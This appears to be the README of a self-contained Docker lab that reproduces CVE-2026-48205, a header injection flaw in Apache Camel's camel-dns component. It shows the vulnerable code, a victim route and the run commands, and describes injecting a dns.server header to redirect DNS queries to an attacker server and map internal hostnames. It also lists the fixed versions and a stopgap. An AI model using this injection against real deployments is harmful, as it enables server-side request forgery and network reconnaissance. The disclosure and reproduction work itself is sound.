dns.* / term 头注入复现器 (CVE-2026-48205)该项目演示了 Apache Camel camel-dns 组件中的一个消息头注入漏洞,跟踪编号为 CVE-2026-48205。DNS 生产者从 Exchange 头中读取其操作参数——要查询的解析器、要查找的名称/域名、记录类型/类别和搜索词——而这些头的常量值(DnsConstants.DNS_SERVER、DNS_NAME、DNS_DOMAIN、DNS_TYPE、DNS_CLASS、TERM)是纯字符串 dns.server、dns.name、dns.domain、dns.type、dns.class 和 term。由于这些名称不以 Camel / camel 前缀开头,HttpHeaderFilterStrategy——它只在 HTTP 边界阻止 Camel 头命名空间——会允许它们从入站 HTTP 请求直接进入 Exchange。
在将 HTTP 消费者(例如 platform-http)桥接到 dns: 生产者的路由中,任何 HTTP 客户端因此都可以设置 dns.server 头,使 dig 生产者构建一个指向攻击者控制的 DNS 服务器的 SimpleResolver —— 这是一种通过 DNS 进行的服务端请求伪造,攻击者借此可以观察到被查询的名称并返回伪造的响应——并且可以设置 dns.name / dns.domain 来解析任意内部主机名(内网侦察)。
公告:https://camel.apache.org/security/CVE-2026-48205.html
该修复将头重命名为
CamelDnsServer/CamelDnsName等,因此它们会像其他 Camel 控制头一样在 HTTP 边界被过滤。与 CVE-2025-27636、CVE-2026-46454 和 CVE-2026-47323 属于同一系列。
// DnsConstants (affected 4.18.2) — the control-header names are bare, non-Camel-prefixed strings:
public static final String DNS_SERVER = "dns.server";
public static final String DNS_NAME = "dns.name";
// DnsDigProducer.process (affected 4.18.2) — the resolver target comes straight from the header:
String server = exchange.getIn().getHeader(DnsConstants.DNS_SERVER, String.class);
SimpleResolver resolver = new SimpleResolver(server); // <-- attacker-controlled DNS server
int type = Type.value(exchange.getIn().getHeader(DnsConstants.DNS_TYPE, String.class));
Name name = Name.fromString(exchange.getIn().getHeader(DnsConstants.DNS_NAME, String.class), Name.root);
// ... resolver.send(query) — the query goes to the attacker's server
修复(4.14.8 / 4.18.3 / 4.21.0,CAMEL-23574)将值重命名为 CamelDns* 约定。
from("platform-http:/lookup")
.setHeader("dns.name", constant("example.com"))
.setHeader("dns.type", constant("A"))
.setHeader("dns.class", constant("IN"))
.to("dns:dig"); // no dns.server -> default resolver (intended)
该路由使用默认解析器查询一个固定名称。攻击者只需添加一个 dns.server 头,查询就会被重定向到他们的 DNS 服务器。(dns.server 是小写的,因此可以经受住 Servlet 容器的头规范化——platform-http 就足够了。)
所有内容都在一个自包含容器中运行:受害路由、攻击者的伪造 DNS 服务器(UDP 53)和攻击者驱动程序。
CVE-2026-48205/
├── pom.xml # camel-platform-http + camel-dns 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── FakeDnsServer.java # attacker DNS server on UDP 53 (records the redirected query)
│ ├── VictimRoute.java # platform-http:/lookup -> dns:dig
│ └── ExploitController.java # attacker: injects dns.server=127.0.0.1
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== 1) Legitimate request (no dns.server header) — default resolver ===
attacker's DNS server was queried: false
=== 2) Injected dns.server=127.0.0.1 (SSRF via DNS) ===
attacker's DNS server was queried: true
observed lookup name: example.com.
>>> Header-injection / SSRF proof — an unauthenticated HTTP client redirected the route's DNS
>>> query to an attacker-controlled server via the dns.server header: true
攻击者的 DNS 服务器现在会看到受害者的查询名称(并且可以返回伪造的应答)。将 dns.server 指向真实的内部 DNS 解析器,或将 dns.name 设置为内部主机名,即可实现对内部网络的侦察。
升级到 4.14.8 / 4.18.3 / 4.21.0(CAMEL-23574)。升级后,通过头来驱动 DNS 操作的路由必须使用 CamelDnsServer / CamelDnsName 等。
在升级之前,在 dns: 生产者之前,从任何不受信任的入口剥离 dns.* 和 term 头,并在路由中从可信来源设置 DNS 服务器和查询参数。
此复现器仅用于安全研究和授权测试,针对一个已公开披露并修复的漏洞。未经明确许可,请勿将其用于任何系统。
| 属性 | 值 |
|---|
| 组件 | camel-dns |
| 受影响类 | org.apache.camel.component.dns.DnsDigProducer — new SimpleResolver(getHeader("dns.server")) |
| CWE | CWE-20(输入验证不恰当)/ CWE-918(服务端请求伪造) |
| 影响 | 将路由的 DNS 查询重定向到攻击者控制的服务器(观察名称、返回伪造的应答);枚举内部主机名 |
| 前提条件 | 路由将 HTTP 消费者桥接到 dns: 生产者;当消费者未认证时可未授权利用 |
| 受影响版本 | 4.0.0 至 4.14.8 之前,4.15.0 至 4.18.3 之前,4.19.0 至 4.21.0 之前 |
| 修复版本 | 4.14.8、4.18.3、4.21.0 |
| JIRA | CAMEL-23574(PR apache/camel#23411) |
| 致谢 | Yu Bao(PayPal) |